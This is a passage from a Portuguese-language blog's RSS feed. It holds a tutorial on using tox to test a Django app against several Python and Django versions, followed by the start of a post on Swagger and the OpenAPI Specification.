as próximas versões do framework. Alegria para os usuários…]]></description><link>https://klauslaube.com.br/2018/01/05/testando-apps-django-com-tox.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/01/05/testando-apps-django-com-tox.html</guid><pubDate>Fri, 05 Jan 2018 17:05:00 GMT</pubDate><content:encoded>&lt;p&gt;O &lt;a href=&quot;https://docs.djangoproject.com/pt-br/2.0/releases/2.0/&quot; title=&quot;Django 2.0 release notes&quot;&gt;&lt;em&gt;Django 2.0&lt;/em&gt;&lt;/a&gt; foi lançado,
e com ele o suporte a &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; &lt;code class=&quot;language-text&quot;&gt;2.7&lt;/code&gt; deixa de existir para
as próximas versões do &lt;em&gt;framework&lt;/em&gt;. Alegria para os usuários, preocupação para os desenvolvedores
dos &lt;a href=&quot;http://henriquebastos.net/desmistificando-o-conceito-de-django-apps/&quot; title=&quot;Desmistificando O Conceito De Django Apps&quot;&gt;&lt;em&gt;apps&lt;/em&gt;&lt;/a&gt;.
Afinal, a versão &lt;code class=&quot;language-text&quot;&gt;1.11&lt;/code&gt; é &lt;em&gt;LTS&lt;/em&gt; (Long Term Support), logo, alguns &lt;em&gt;apps&lt;/em&gt; (ainda) não podem abraçar
incondicionalmente a versão &lt;code class=&quot;language-text&quot;&gt;3.x&lt;/code&gt; da linguagem.&lt;/p&gt;
&lt;p&gt;É nesse cenário que bibliotecas como o &lt;a href=&quot;http://six.readthedocs.io/&quot; title=&quot;Python 2 and 3 Compatibility Library&quot;&gt;&lt;em&gt;six&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://tox.readthedocs.io/en/latest/&quot; title=&quot;Standardize testing in Python&quot;&gt;&lt;em&gt;tox&lt;/em&gt;&lt;/a&gt; mostram o seu valor. Nesse artigo,
vamos falar um pouquinho mais sobre a última.&lt;/p&gt;
&lt;h2&gt;Antes de começar: Vida longa ao Python 3!&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Python 2&lt;/em&gt; estará aí por mais um tempo (até 2020). Portanto, qual a motivação para mudar para o &lt;em&gt;Python 3&lt;/em&gt; agora?&lt;/p&gt;
&lt;p&gt;Na &lt;a href=&quot;https://loadsmart.com/&quot; title=&quot;Book a truck in seconds&quot;&gt;&lt;em&gt;Loadsmart&lt;/em&gt;&lt;/a&gt;, o nosso principal projeto é em &lt;em&gt;Python&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;2.7&lt;/code&gt;.
Mas estamos experimentando &lt;em&gt;Python&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;3.x&lt;/code&gt; há um bom tempo em projetos paralelos. O fato é que a nova versão da linguagem está mais eficiente,
possui suporte a assincronicidade, melhor controle de exceções e o fogo ardente do &quot;unicode hell&quot; foi controlado.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/e8828b6f6e53d7cc049d0cbca6862b42/c08c5/python-snakes.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 62.5%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABUBAQEAAAAAAAAAAAAAAAAAAAEC/9oADAMBAAIQAxAAAAGRkRK40xP/xAAaEAEBAAIDAAAAAAAAAAAAAAACAQARAxIy/9oACAEBAAEFAo9oiTFw6p9V3sVCf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABsQAAICAwEAAAAAAAAAAAAAAAABEiECEDFB/9oACAEBAAY/Aoul6Rl1MqxPSSxP/8QAGhAAAgMBAQAAAAAAAAAAAAAAAAERITFBUf/aAAgBAQABPyFKVSa0RNLcg+BknpBWNE6c4V9Y9P/aAAwDAQACAAMAAAAQV/8A/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAERIf/aAAgBAwEBPxCqaQ//xAAYEQACAwAAAAAAAAAAAAAAAAAAARFBUf/aAAgBAgEBPxCyVp//xAAbEAEAAwADAQAAAAAAAAAAAAABABEhMUGhsf/aAAgBAQABPxDVaAC1TQjFbwC/nks7QNCE4WaFvHMtdQCds3PZj4cu/k//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Indiana Jones encarando uma cobra&amp;quot;&quot;
        title=&quot;Migrar para Python 3 pode parecer assustador. Mas é tranquilo, Indy...&quot;
        src=&quot;/static/e8828b6f6e53d7cc049d0cbca6862b42/c08c5/python-snakes.jpg&quot;
        srcset=&quot;/static/e8828b6f6e53d7cc049d0cbca6862b42/7809d/python-snakes.jpg 192w,
/static/e8828b6f6e53d7cc049d0cbca6862b42/4ecad/python-snakes.jpg 384w,
/static/e8828b6f6e53d7cc049d0cbca6862b42/c08c5/python-snakes.jpg 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Migrar para Python 3 pode parecer assustador. Mas é tranquilo, Indy...&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;É verdade que há quebra de compatibilidade entre as versões, mas se considerarmos que a &lt;code class=&quot;language-text&quot;&gt;2.7&lt;/code&gt; só tem mais 2 anos de &quot;vida&quot;,
a urgência de migração fica mais latente.&lt;/p&gt;
&lt;h2&gt;tox é uma sacada das boas!&lt;/h2&gt;
&lt;p&gt;O site oficial da biblioteca a define como:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a generic virtualenv management and test command line tool (...)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com &lt;em&gt;tox&lt;/em&gt; é possível:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Validar o seu pacote contra diferentes versões do &lt;em&gt;Python&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Rodar os seus testes em diferentes &lt;em&gt;environments&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Não é só por usar &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;&lt;em&gt;ambientes virtuais&lt;/em&gt;&lt;/a&gt; que o &lt;em&gt;tox&lt;/em&gt; é
uma boa ideia. Ele vem sendo uma mão na roda para os desenvolvedores de pacotes &lt;em&gt;Python&lt;/em&gt;
que precisam dar suporte às versões &lt;code class=&quot;language-text&quot;&gt;2.x&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;3.x&lt;/code&gt;, e que utilizam testes automatizados como
&lt;em&gt;design&lt;/em&gt; das soluções.&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;Django&lt;/em&gt; a &quot;granularidade&quot; pode ser ainda maior, rodando testes em ambientes
que são combinações entre diferentes versões da linguagem e do &lt;em&gt;framework&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Antes de continuar: Travis e Build Matrix&lt;/h2&gt;
&lt;p&gt;Se você estiver utilizando o &lt;a href=&quot;&quot;&gt;&lt;em&gt;Travis CI&lt;/em&gt;&lt;/a&gt;, poderoso serviço de Continuous Integration, consegue reproduzir o comportamento que apresentaremos
a seguir através do uso de &lt;a href=&quot;https://docs.travis-ci.com/user/customizing-the-build/#Build-Matrix&quot; title=&quot;Customizing the build&quot;&gt;&lt;em&gt;Build Matrix&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A diferença é que com o &lt;em&gt;tox&lt;/em&gt;, podemos obter o mesmo comportamento em tempo de desenvolvimento. Agilizando um pouco mais o processo.&lt;/p&gt;
&lt;p&gt;Veja mais em &lt;a href=&quot;https://vevurka.github.io/dsp17/git/quality/django/python/travis_ci_frisor/&quot; title=&quot;Setting up Travis CI for github repo in Python&quot;&gt;&quot;Travis CI for Python project&quot;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Na prática&lt;/h2&gt;
&lt;p&gt;Vou aproveitar o tema e usar o &lt;em&gt;tox&lt;/em&gt; para me ajudar em um &lt;em&gt;refactoring&lt;/em&gt; de um &lt;em&gt;app&lt;/em&gt; de
código aberto, que há muito não dou suporte: O &lt;a href=&quot;https://github.com/kplaube/django-simple-contact&quot; title=&quot;Veja no Github&quot;&gt;django-simple-contact&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Se você quiser acompanhar o passo-a-passo, clone o projeto e dê um &lt;code class=&quot;language-text&quot;&gt;git checkout&lt;/code&gt; da &lt;em&gt;revisão&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;80145ae&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ git clone git@github.com:kplaube/django-simple-contact.git
$ cd django-simple-contact/
$ git checkout 80145ae&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Na estrutura atual, é possível executar os testes através do &lt;code class=&quot;language-text&quot;&gt;setup.py&lt;/code&gt; ou &lt;code class=&quot;language-text&quot;&gt;python runtests.py&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python setup.py test
(...)
-----------------------------------------------
Ran 6 tests in 0.230s

OK
Destroying test database for alias &apos;default&apos;...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É possível fazer a troca da versão do &lt;em&gt;Python/Django&lt;/em&gt; de forma manual (através do &lt;a href=&quot;/tag/pyenv.html&quot; title=&quot;Leia mais sobre pyenv&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;, por exemplo).
Obviamente que o &lt;em&gt;tox&lt;/em&gt; deixa tudo mais interessante (e automatizado).&lt;/p&gt;
&lt;h3&gt;Instalando o tox&lt;/h3&gt;
&lt;p&gt;Finalmente, vamos adicionar a ferramenta ao projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install tox&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Caso esteja usando &lt;em&gt;pyenv&lt;/em&gt;, a instalação do &lt;code class=&quot;language-text&quot;&gt;tox-pyenv&lt;/code&gt; é sugerida.
&lt;a href=&quot;https://pypi.python.org/pypi/tox-pyenv&quot; title=&quot;tox plugin that makes tox use &amp;#x60;pyenv which&amp;#x60; to find python executables&quot;&gt;Leia mais sobre a biblioteca&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para deixar tudo mais organizado, vamos nos inspirar na estrutura do projeto
&lt;a href=&quot;https://github.com/vandersonmota/model_mommy&quot; title=&quot;Object factory for django&quot;&gt;&lt;em&gt;modelmommy&lt;/em&gt;&lt;/a&gt;. Criaremos um arquivo &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt; com o seguinte conteúdo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

bleach
django&gt;=1.8.0&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A versão &lt;code class=&quot;language-text&quot;&gt;1.8.0&lt;/code&gt; (até o momento) é a &lt;em&gt;LTS&lt;/em&gt; mais antiga, portanto, garantiremos suporte dessa versão em diante.
O &lt;a href=&quot;https://pypi.python.org/pypi/bleach&quot; title=&quot;An easy safelist-based HTML-sanitizing tool&quot;&gt;&lt;em&gt;bleach&lt;/em&gt;&lt;/a&gt; é uma dependência do projeto, não
relevante ao exemplo desse artigo.&lt;/p&gt;
&lt;p&gt;É interessante deixarmos explícito a instalação do &lt;em&gt;tox&lt;/em&gt;... um &lt;code class=&quot;language-text&quot;&gt;requirements-dev.txt&lt;/code&gt; pode ser uma solução:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements-dev.txt

tox&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora, quando um &lt;em&gt;dev&lt;/em&gt; juntar-se ao projeto, ele poderá executar o comando &lt;code class=&quot;language-text&quot;&gt;pip install -r requirements-dev.txt&lt;/code&gt;, e ter
as dependências necessárias para contribuir com o &lt;em&gt;app&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;Configurando&lt;/h3&gt;
&lt;p&gt;Antes de executar a ferramenta é necessário criar um arquivo &lt;code class=&quot;language-text&quot;&gt;tox.ini&lt;/code&gt;, que será responsável por configurar os ambientes
e disparar os testes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ini&quot;&gt;&lt;pre class=&quot;language-ini&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tox.ini&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;tox&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;envlist&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;py27-django{18,111}, py36-django{18,111,20}&lt;/span&gt;

&lt;span class=&quot;token header&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token section-name selector&quot;&gt;testenv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;commands&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token value attr-value&quot;&gt;python runtests.py&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;setenv&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;DJANGO_SETTINGS_MODULE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;simple_contact.tests.test_settings&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;PYTHONPATH&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;{toxinidir}&lt;/span&gt;
&lt;span class=&quot;token key attr-name&quot;&gt;basepython&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
    py27: python2.7
    py36: python3.6
&lt;span class=&quot;token key attr-name&quot;&gt;deps&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;
    bleach
    &lt;span class=&quot;token key attr-name&quot;&gt;django18: Django&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;=1.8&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;django111: Django&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;=1.11&lt;/span&gt;
    &lt;span class=&quot;token key attr-name&quot;&gt;django20: Django&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token value attr-value&quot;&gt;=2.0&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Por partes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;[tox]&lt;/code&gt;: Aqui colocamos as configurações globais. &lt;code class=&quot;language-text&quot;&gt;envlist&lt;/code&gt; conterá a lista de ambientes nos quais executaremos os testes.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[testenv]&lt;/code&gt;: Configurações por ambiente de teste. Poderíamos ter configurações específicas ao utilizar &lt;code class=&quot;language-text&quot;&gt;[testenv:py36-django20]&lt;/code&gt;, por exemplo.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;commands&lt;/code&gt;: O comando a ser executado.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;setenv&lt;/code&gt;: Variáveis de ambiente setadas para a execução dos testes.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;basepython&lt;/code&gt;: Nome do interpretador &lt;em&gt;Python&lt;/em&gt; utilizado para a criação do ambiente virtual. Repare no &quot;match&quot; com &lt;code class=&quot;language-text&quot;&gt;py27-&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;py36-&lt;/code&gt; do &lt;code class=&quot;language-text&quot;&gt;envlist&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;deps&lt;/code&gt;: Dependências para determinado ambiente de teste. Repare no &quot;match&quot; com &lt;code class=&quot;language-text&quot;&gt;django{18,111,20}&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Com o uso dos &lt;em&gt;brackets&lt;/em&gt;, ao invés de criarmos um &lt;code class=&quot;language-text&quot;&gt;testenv&lt;/code&gt; para cada combinação (exemplo: &lt;code class=&quot;language-text&quot;&gt;py27-django18&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;py27-django111&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;py36-django18&lt;/code&gt;, etc),
o &lt;em&gt;tox&lt;/em&gt; fica responsável por fazer a &quot;matriz de combinações&quot;.&lt;/p&gt;
&lt;p&gt;Agora sim, podemos executar a ferramenta de linha de comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ tox
(...)
ERROR:   py27-django18: commands failed
ERROR:   py27-django111: commands failed
ERROR:   py36-django18: commands failed
ERROR:   py36-django111: commands failed
py36-django20: commands succeeded&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;No meu ambiente local, como esperado, apenas os testes do ambiente &lt;code class=&quot;language-text&quot;&gt;py36-django20&lt;/code&gt; passaram. Para ter acesso a versão corrigida,
dê um &lt;em&gt;checkout&lt;/em&gt; da revisão &lt;code class=&quot;language-text&quot;&gt;a37ebd1608&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ git checkout a37ebd1608
$ tox
(...)
py27-django18: commands succeeded
py27-django111: commands succeeded
py36-django18: commands succeeded
py36-django111: commands succeeded
py36-django20: commands succeeded&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Perfeito!&lt;/p&gt;
&lt;p&gt;Ainda é possível executar apenas os testes de um ambiente específico:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ tox -e py36-django20
(...)
-----------------------------------------------
Ran 6 tests in 0.055s

OK
Destroying test database for alias &apos;default&apos;...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O resultado final está disponível na &lt;em&gt;tag&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;0.3.0&lt;/code&gt; do projeto.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Que esse movimento da comunidade &lt;em&gt;Django&lt;/em&gt; consiga influenciar ainda mais a adoção do &lt;em&gt;Python 3&lt;/em&gt;. Admito que sem essa
&quot;motivação extra&quot;, dificilmente cogitaria o &lt;em&gt;upgrade&lt;/em&gt; da linguagem em meus projetos nesse momento.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;tox&lt;/em&gt; é sem dúvida uma ferramenta que pode auxiliar nessa fase de transição, portanto, não hesite em adicioná-la ao seu &lt;em&gt;toolbelt&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para uma integração &lt;em&gt;seamless&lt;/em&gt; com o &lt;em&gt;Travis CI&lt;/em&gt;, o &lt;a href=&quot;https://github.com/tox-dev/tox-travis&quot; title=&quot;Seamless integration of Tox into Travis CI&quot;&gt;&lt;em&gt;tox-travis&lt;/em&gt;&lt;/a&gt;
é recomendado.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.activestate.com/blog/2017/01/python-3-vs-python-2-its-different-time&quot;&gt;ActiveState - Python 3 vs Python 2: It&apos;s different this time&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://henriquebastos.net/desmistificando-o-conceito-de-django-apps/&quot;&gt;Henrique Bastos - Desmistificando O Conceito De Django Apps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://jsatt.com/blog/using-tox-with-travis-ci-to-test-django-apps/&quot;&gt;Jeremy Satterfield - Using Tox with Travis CI to Test Django Apps&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vevurka.github.io/dsp17/git/quality/django/python/travis_ci_frisor/&quot;&gt;vevurka-dev - Travis CI for Python project&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Swagger e o Open API Initiative]]></title><description><![CDATA[Já falamos sobre RAML aqui no blog. Uma maneira
de descrever APIs, facilitando a vida de clientes, fornecedores, e até mesmo
máquinas…]]></description><link>https://klauslaube.com.br/2017/11/25/swagger-e-o-open-api-initiative.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/11/25/swagger-e-o-open-api-initiative.html</guid><pubDate>Sat, 25 Nov 2017 20:52:00 GMT</pubDate><content:encoded>&lt;p&gt;Já falamos sobre &lt;a href=&quot;/tag/raml.html&quot; title=&quot;Leia mais sobre RAML&quot;&gt;&lt;em&gt;RAML&lt;/em&gt;&lt;/a&gt; aqui no &lt;em&gt;blog&lt;/em&gt;. Uma maneira
de descrever &lt;em&gt;APIs&lt;/em&gt;, facilitando a vida de clientes, fornecedores, e até mesmo
máquinas. Acontece que há uma alternativa muito mais popular,
chamada &lt;a href=&quot;https://swagger.io/&quot; title=&quot;The world&amp;#x27;s most popular API tooling&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt;,
que na minha opinião tem por principal ponto positivo ser base para a criação da
&lt;a href=&quot;https://github.com/OAI/OpenAPI-Specification&quot; title=&quot;The OpenAPI Spec repository&quot;&gt;&lt;em&gt;OpenAPI Specification&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Se até aqui tudo isso pareceu &quot;sopa de letrinhas&quot;, &lt;em&gt;keep calm&lt;/em&gt;! Vamos abrir o glossário e detalhar
termo por termo.&lt;/p&gt;
&lt;h2&gt;Swagger: Um framework completo&lt;/h2&gt;
&lt;p&gt;As vantagens de utilizar o &lt;em&gt;Swagger&lt;/em&gt; são basicamente as mesmas de usar &lt;em&gt;RAML&lt;/em&gt; (ou
&lt;a href=&quot;https://apiblueprint.org/&quot; title=&quot;Powerful high-level API description language&quot;&gt;&lt;em&gt;API Blueprint&lt;/em&gt;&lt;/a&gt;):
Modelar e documentar &lt;em&gt;APIs&lt;/em&gt; &lt;a href=&quot;/tag/rest.html&quot; title=&quot;Leia mais sobre REST&quot;&gt;&lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Swagger&lt;/em&gt; é um &lt;em&gt;framework&lt;/em&gt;, composto por diferentes ferramentas, que ajudam no desenvolvimento
de &lt;em&gt;APIs&lt;/em&gt;. Dentre essas ferramentas podemos destacar as de código aberto:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/swagger-editor/&quot; title=&quot;Design, describe, and document your API on the first open source editor fully dedicated to Swagger-based APIs&quot;&gt;&lt;em&gt;Swagger Editor&lt;/em&gt;&lt;/a&gt;:
Um editor poderosíssimo que pode ser usado &lt;em&gt;online&lt;/em&gt;, e que facilita (e muito) na escrita de arquivos
&lt;em&gt;Swagger&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/swagger-ui/&quot;&gt;&lt;em&gt;Swagger UI&lt;/em&gt;&lt;/a&gt;:
Uma plataforma para a geração e publicação da documentação de &lt;em&gt;APIs&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/swagger-codegen/&quot;&gt;&lt;em&gt;Swagger Codegen&lt;/em&gt;&lt;/a&gt;: Esse aqui é o meu favorito. Através
da especificação da sua &lt;em&gt;API&lt;/em&gt;, cria &lt;em&gt;SDKs&lt;/em&gt; para diferentes linguagens.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://swagger.io/swagger-inspector/&quot;&gt;&lt;em&gt;Swagger Inspector&lt;/em&gt;&lt;/a&gt;: Para fechar com chave de ouro.
O &lt;em&gt;Inspector&lt;/em&gt; é um serviço que testa &lt;em&gt;APIs&lt;/em&gt; com base em um contrato &lt;em&gt;Swagger&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Além disso temos o &lt;a href=&quot;https://swaggerhub.com/&quot; title=&quot;The platform for designing and documenting APIs with Swagger&quot;&gt;&lt;em&gt;SwaggerHub&lt;/em&gt;&lt;/a&gt;,
que &quot;empacota&quot; isso tudo em um &lt;em&gt;Software As A Service&lt;/em&gt;, prometendo aumentar produtividade e
colaboração entre times no que tange desenvolvimento de &lt;em&gt;APIs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nos items acima citei &quot;arquivos &lt;em&gt;Swagger&lt;/em&gt;&quot; e &quot;contrato &lt;em&gt;Swagger&lt;/em&gt;&quot;. Bem...
hoje o &lt;em&gt;Swagger&lt;/em&gt; (&lt;em&gt;framework&lt;/em&gt;) é apto a trabalhar com o &lt;em&gt;Swagger&lt;/em&gt; (especificação). Mas não
é apenas essa especificação que ele suporta.&lt;/p&gt;
&lt;p&gt;E é aqui que a &lt;em&gt;SmartBear&lt;/em&gt; (empresa por trás do desenvolvimento da &quot;marca&quot; &lt;em&gt;Swagger&lt;/em&gt;) aparece e merece aplausos.&lt;/p&gt;
&lt;h2&gt;Swagger Specification vira OpenAPI Specification&lt;/h2&gt;
&lt;p&gt;Deixa eu corrigir o primeiro parágrafo do capítulo anterior:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As vantagens de utilizar o &lt;em&gt;OpenAPI Spec&lt;/em&gt; são basicamente as mesmas de usar &lt;em&gt;RAML Spec&lt;/em&gt;,
&lt;em&gt;Swagger Spec&lt;/em&gt;, ou &lt;em&gt;API Blueprint Spec&lt;/em&gt;: Modelar e documentar &lt;em&gt;APIs&lt;/em&gt; &lt;em&gt;REST&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com uma vantagem a mais: Ser aberta*. (note o asterisco)&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Swagger Specification&lt;/em&gt; desde o seu princípio é de código aberto. Mas sempre teve uma empresa
vinculada ao seu desenvolvimento (mais ou menos o que acontece com a &lt;a href=&quot;https://www.mulesoft.com/&quot; title=&quot;We connect. You unnovate.&quot;&gt;&lt;em&gt;MuleSoft&lt;/em&gt;&lt;/a&gt;
e o &lt;em&gt;RAML&lt;/em&gt;).&lt;/p&gt;
